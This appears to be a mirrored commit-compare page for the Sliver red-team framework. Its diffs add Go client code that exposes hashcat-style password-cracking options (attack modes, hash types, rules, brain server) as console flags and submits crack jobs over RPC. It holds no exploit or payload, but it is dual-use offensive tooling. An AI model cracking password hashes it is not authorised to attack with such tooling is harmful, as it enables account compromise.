mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
38
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e | ||
|
|
0bef5491dc | ||
|
|
1c50e5a87b | ||
|
|
8dae2d0d52 | ||
|
|
023776f7e3 | ||
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
628757250e | ||
|
|
25d242230b | ||
|
|
b4345226c1 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b |
No files matched your search
@@ -42,4 +42,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
|||||||
### License - GPLv3
|
### License - GPLv3
|
||||||
|
|
||||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||||
|
|
||||||
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
|
bindCrackFlags(f)
|
||||||
})
|
})
|
||||||
|
|
||||||
crackStationsCmd := &cobra.Command{
|
crackStationsCmd := &cobra.Command{
|
||||||
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
CrackStationsCmd(cmd, con, args)
|
CrackStationsCmd(cmd, con, args)
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||||
|
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||||
|
})
|
||||||
crackCmd.AddCommand(crackStationsCmd)
|
crackCmd.AddCommand(crackStationsCmd)
|
||||||
|
|
||||||
wordlistsCmd := &cobra.Command{
|
wordlistsCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -0,0 +1,326 @@
|
|||||||
|
package crack
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"github.com/spf13/pflag"
|
||||||
|
)
|
||||||
|
|
||||||
|
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||||
|
if len(args) > 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
hasFlag := false
|
||||||
|
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||||
|
if flag.Changed && flag.Name != "timeout" {
|
||||||
|
hasFlag = true
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return hasFlag
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||||
|
flags := cmd.Flags()
|
||||||
|
req := &clientpb.CrackCommand{}
|
||||||
|
|
||||||
|
if flags.Changed("attack-mode") {
|
||||||
|
raw, _ := flags.GetString("attack-mode")
|
||||||
|
attackMode, err := parseCrackAttackMode(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.AttackMode = attackMode
|
||||||
|
}
|
||||||
|
|
||||||
|
if flags.Changed("hash-type") {
|
||||||
|
raw, _ := flags.GetString("hash-type")
|
||||||
|
hashType, err := parseHashType(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.HashType = hashType
|
||||||
|
}
|
||||||
|
|
||||||
|
hashes, _ := flags.GetStringSlice("hash")
|
||||||
|
if len(args) > 0 {
|
||||||
|
hashes = append(hashes, args...)
|
||||||
|
}
|
||||||
|
req.Hashes = hashes
|
||||||
|
|
||||||
|
req.Quiet, _ = flags.GetBool("quiet")
|
||||||
|
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||||
|
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||||
|
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||||
|
req.Force, _ = flags.GetBool("force")
|
||||||
|
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||||
|
req.Status, _ = flags.GetBool("status")
|
||||||
|
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||||
|
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||||
|
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||||
|
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||||
|
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||||
|
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||||
|
req.Loopback, _ = flags.GetBool("loopback")
|
||||||
|
|
||||||
|
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||||
|
req.MarkovHcstat2 = []byte(raw)
|
||||||
|
}
|
||||||
|
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||||
|
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||||
|
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||||
|
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||||
|
req.Runtime, _ = flags.GetUint32("runtime")
|
||||||
|
req.Session, _ = flags.GetString("session")
|
||||||
|
req.Restore, _ = flags.GetBool("restore")
|
||||||
|
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||||
|
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||||
|
req.RestoreFile = []byte(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||||
|
for _, raw := range formats {
|
||||||
|
format, err := parseCrackOutfileFormat(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||||
|
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||||
|
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||||
|
req.Separator, _ = flags.GetString("separator")
|
||||||
|
req.Stdout, _ = flags.GetBool("stdout")
|
||||||
|
req.Show, _ = flags.GetBool("show")
|
||||||
|
req.Left, _ = flags.GetBool("left")
|
||||||
|
req.Username, _ = flags.GetBool("username")
|
||||||
|
req.Remove, _ = flags.GetBool("remove")
|
||||||
|
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||||
|
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||||
|
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||||
|
req.Potfile = []byte(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
if flags.Changed("encoding-from") {
|
||||||
|
raw, _ := flags.GetString("encoding-from")
|
||||||
|
enc, err := parseCrackEncoding(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.EncodingFrom = enc
|
||||||
|
}
|
||||||
|
if flags.Changed("encoding-to") {
|
||||||
|
raw, _ := flags.GetString("encoding-to")
|
||||||
|
enc, err := parseCrackEncoding(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.EncodingTo = enc
|
||||||
|
}
|
||||||
|
|
||||||
|
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||||
|
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||||
|
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||||
|
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||||
|
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||||
|
req.KeyboardLayoutMapping = []byte(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||||
|
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||||
|
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||||
|
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||||
|
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||||
|
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||||
|
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||||
|
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||||
|
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||||
|
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||||
|
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||||
|
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||||
|
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||||
|
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||||
|
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||||
|
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||||
|
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||||
|
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||||
|
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||||
|
|
||||||
|
if flags.Changed("workload-profile") {
|
||||||
|
raw, _ := flags.GetString("workload-profile")
|
||||||
|
profile, err := parseCrackWorkloadProfile(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.WorkloadProfile = profile
|
||||||
|
}
|
||||||
|
|
||||||
|
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||||
|
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||||
|
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||||
|
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||||
|
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||||
|
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||||
|
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||||
|
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||||
|
req.Skip, _ = flags.GetUint64("skip")
|
||||||
|
req.Limit, _ = flags.GetUint64("limit")
|
||||||
|
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||||
|
|
||||||
|
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||||
|
req.RulesFile = []byte(raw)
|
||||||
|
}
|
||||||
|
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||||
|
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||||
|
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||||
|
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||||
|
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||||
|
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||||
|
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||||
|
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||||
|
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||||
|
req.Identify, _ = flags.GetString("identify")
|
||||||
|
req.Increment, _ = flags.GetBool("increment")
|
||||||
|
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||||
|
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||||
|
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||||
|
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||||
|
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||||
|
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||||
|
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||||
|
req.BrainHost, _ = flags.GetString("brain-host")
|
||||||
|
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||||
|
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||||
|
req.BrainSession, _ = flags.GetString("brain-session")
|
||||||
|
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||||
|
|
||||||
|
return req, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||||
|
values, _ := flags.GetUintSlice(name)
|
||||||
|
if len(values) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]uint32, len(values))
|
||||||
|
for i, value := range values {
|
||||||
|
out[i] = uint32(value)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||||
|
}
|
||||||
|
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||||
|
return clientpb.CrackAttackMode(numeric), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||||
|
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||||
|
switch normalized {
|
||||||
|
case "straight":
|
||||||
|
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||||
|
case "combination":
|
||||||
|
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||||
|
case "bruteforce", "brute_force", "brute-force":
|
||||||
|
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||||
|
case "hybrid_wordlist_mask":
|
||||||
|
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||||
|
case "hybrid_mask_wordlist":
|
||||||
|
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||||
|
case "association":
|
||||||
|
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||||
|
case "no_attack", "none":
|
||||||
|
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||||
|
default:
|
||||||
|
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return clientpb.HashType_MD5, nil
|
||||||
|
}
|
||||||
|
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||||
|
return clientpb.HashType(numeric), nil
|
||||||
|
}
|
||||||
|
key := normalizeEnumKey(raw)
|
||||||
|
if value, ok := clientpb.HashType_value[key]; ok {
|
||||||
|
return clientpb.HashType(value), nil
|
||||||
|
}
|
||||||
|
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||||
|
}
|
||||||
|
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||||
|
return clientpb.CrackEncoding(numeric), nil
|
||||||
|
}
|
||||||
|
key := normalizeEnumKey(raw)
|
||||||
|
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||||
|
return clientpb.CrackEncoding(value), nil
|
||||||
|
}
|
||||||
|
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||||
|
}
|
||||||
|
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||||
|
return clientpb.CrackOutfileFormat(numeric), nil
|
||||||
|
}
|
||||||
|
key := normalizeEnumKey(raw)
|
||||||
|
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||||
|
return clientpb.CrackOutfileFormat(value), nil
|
||||||
|
}
|
||||||
|
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||||
|
}
|
||||||
|
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||||
|
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||||
|
}
|
||||||
|
key := normalizeEnumKey(raw)
|
||||||
|
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||||
|
return clientpb.CrackWorkloadProfile(value), nil
|
||||||
|
}
|
||||||
|
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeEnumKey(value string) string {
|
||||||
|
if value == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var builder strings.Builder
|
||||||
|
builder.Grow(len(value))
|
||||||
|
underscore := false
|
||||||
|
for i := 0; i < len(value); i++ {
|
||||||
|
ch := value[i]
|
||||||
|
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||||
|
if ch >= 'a' && ch <= 'z' {
|
||||||
|
ch -= 'a' - 'A'
|
||||||
|
}
|
||||||
|
builder.WriteByte(ch)
|
||||||
|
underscore = false
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !underscore {
|
||||||
|
builder.WriteByte('_')
|
||||||
|
underscore = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Trim(builder.String(), "_")
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
package crack
|
||||||
|
|
||||||
|
import "github.com/spf13/pflag"
|
||||||
|
|
||||||
|
func bindCrackFlags(f *pflag.FlagSet) {
|
||||||
|
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||||
|
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||||
|
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||||
|
f.Bool("quiet", false, "quiet mode")
|
||||||
|
f.Bool("hex-charset", false, "treat charset as hex")
|
||||||
|
f.Bool("hex-salt", false, "treat salt as hex")
|
||||||
|
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||||
|
f.Bool("force", false, "ignore warnings")
|
||||||
|
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||||
|
f.Bool("status", false, "enable status")
|
||||||
|
f.Bool("status-json", false, "emit status in JSON")
|
||||||
|
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||||
|
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||||
|
f.Bool("machine-readable", false, "machine readable output")
|
||||||
|
f.Bool("keep-guessing", false, "keep guessing")
|
||||||
|
f.Bool("self-test-disable", false, "disable self-test")
|
||||||
|
f.Bool("loopback", false, "use loopback mode")
|
||||||
|
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||||
|
f.Bool("markov-disable", false, "disable markov mode")
|
||||||
|
f.Bool("markov-classic", false, "use classic markov")
|
||||||
|
f.Bool("markov-inverse", false, "use inverse markov")
|
||||||
|
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||||
|
f.Uint32("runtime", 0, "runtime in seconds")
|
||||||
|
f.String("session", "", "session name")
|
||||||
|
f.Bool("restore", false, "restore session")
|
||||||
|
f.Bool("restore-disable", false, "disable restore")
|
||||||
|
f.String("restore-file", "", "restore file path or identifier")
|
||||||
|
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||||
|
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||||
|
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||||
|
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||||
|
f.String("separator", "", "separator character")
|
||||||
|
f.Bool("stdout", false, "stdout output")
|
||||||
|
f.Bool("show", false, "show cracked hashes")
|
||||||
|
f.Bool("left", false, "show uncracked hashes")
|
||||||
|
f.Bool("username", false, "enable username handling")
|
||||||
|
f.Bool("remove", false, "remove cracked hashes")
|
||||||
|
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||||
|
f.Bool("potfile-disable", false, "disable potfile")
|
||||||
|
f.String("potfile", "", "potfile path or identifier")
|
||||||
|
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||||
|
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||||
|
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||||
|
f.Bool("logfile-disable", false, "disable logfile")
|
||||||
|
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||||
|
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||||
|
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||||
|
f.Bool("benchmark", false, "run benchmark")
|
||||||
|
f.Bool("benchmark-all", false, "run full benchmark")
|
||||||
|
f.Bool("speed-only", false, "show speed only")
|
||||||
|
f.Bool("progress-only", false, "show progress only")
|
||||||
|
f.Uint32("segment-size", 0, "segment size")
|
||||||
|
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||||
|
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||||
|
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||||
|
f.Uint32("hook-threads", 0, "hook threads")
|
||||||
|
f.Bool("hash-info", false, "show hash information")
|
||||||
|
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||||
|
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||||
|
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||||
|
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||||
|
f.Bool("backend-info", false, "show backend info")
|
||||||
|
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||||
|
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||||
|
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||||
|
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||||
|
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||||
|
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||||
|
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||||
|
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||||
|
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||||
|
f.Uint32("spin-damp", 0, "spin damp")
|
||||||
|
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||||
|
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||||
|
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||||
|
f.Uint64("skip", 0, "skip count")
|
||||||
|
f.Uint64("limit", 0, "limit count")
|
||||||
|
f.Bool("keyspace", false, "show keyspace")
|
||||||
|
f.String("rules-file", "", "rules file path or identifier")
|
||||||
|
f.Uint32("generate-rules", 0, "generate rules")
|
||||||
|
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||||
|
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||||
|
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||||
|
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||||
|
f.String("custom-charset1", "", "custom charset 1")
|
||||||
|
f.String("custom-charset2", "", "custom charset 2")
|
||||||
|
f.String("custom-charset3", "", "custom charset 3")
|
||||||
|
f.String("custom-charset4", "", "custom charset 4")
|
||||||
|
f.String("identify", "", "identify hash")
|
||||||
|
f.Bool("increment", false, "incremental mode")
|
||||||
|
f.Uint32("increment-min", 0, "increment min")
|
||||||
|
f.Uint32("increment-max", 0, "increment max")
|
||||||
|
f.Bool("slow-candidates", false, "slow candidates")
|
||||||
|
f.Bool("brain-server", false, "brain server mode")
|
||||||
|
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||||
|
f.Bool("brain-client", false, "brain client mode")
|
||||||
|
f.String("brain-client-features", "", "brain client features")
|
||||||
|
f.String("brain-host", "", "brain host")
|
||||||
|
f.Uint32("brain-port", 0, "brain port")
|
||||||
|
f.String("brain-password", "", "brain password")
|
||||||
|
f.String("brain-session", "", "brain session")
|
||||||
|
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||||
|
}
|
||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"sort"
|
"sort"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/jedib0t/go-pretty/v6/table"
|
"github.com/jedib0t/go-pretty/v6/table"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
@@ -34,6 +35,37 @@ import (
|
|||||||
|
|
||||||
// CrackCmd - GPU password cracking interface
|
// CrackCmd - GPU password cracking interface
|
||||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
|
if shouldRunCrack(cmd, args) {
|
||||||
|
crackCmd, err := buildCrackCommand(cmd, args)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||||
|
ctx := context.Background()
|
||||||
|
if timeoutSeconds > 0 {
|
||||||
|
var cancel context.CancelFunc
|
||||||
|
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if resp == nil || resp.Job == nil {
|
||||||
|
con.PrintInfof("Crack request submitted\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||||
|
if resp.Job.Err != "" {
|
||||||
|
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if !AreCrackersOnline(con) {
|
if !AreCrackersOnline(con) {
|
||||||
PrintNoCrackstations(con)
|
PrintNoCrackstations(con)
|
||||||
} else {
|
} else {
|
||||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
|||||||
con.PrintErrorf("%s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||||
if len(crackers.Crackstations) == 0 {
|
if len(crackers.Crackstations) == 0 {
|
||||||
PrintNoCrackstations(con)
|
PrintNoCrackstations(con)
|
||||||
} else {
|
} else {
|
||||||
PrintCrackers(crackers.Crackstations, con)
|
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
|||||||
return len(crackers.Crackstations) > 0
|
return len(crackers.Crackstations) > 0
|
||||||
}
|
}
|
||||||
|
|
||||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||||
sort.Slice(crackers, func(i, j int) bool {
|
sort.Slice(crackers, func(i, j int) bool {
|
||||||
return crackers[i].Name < crackers[j].Name
|
return crackers[i].Name < crackers[j].Name
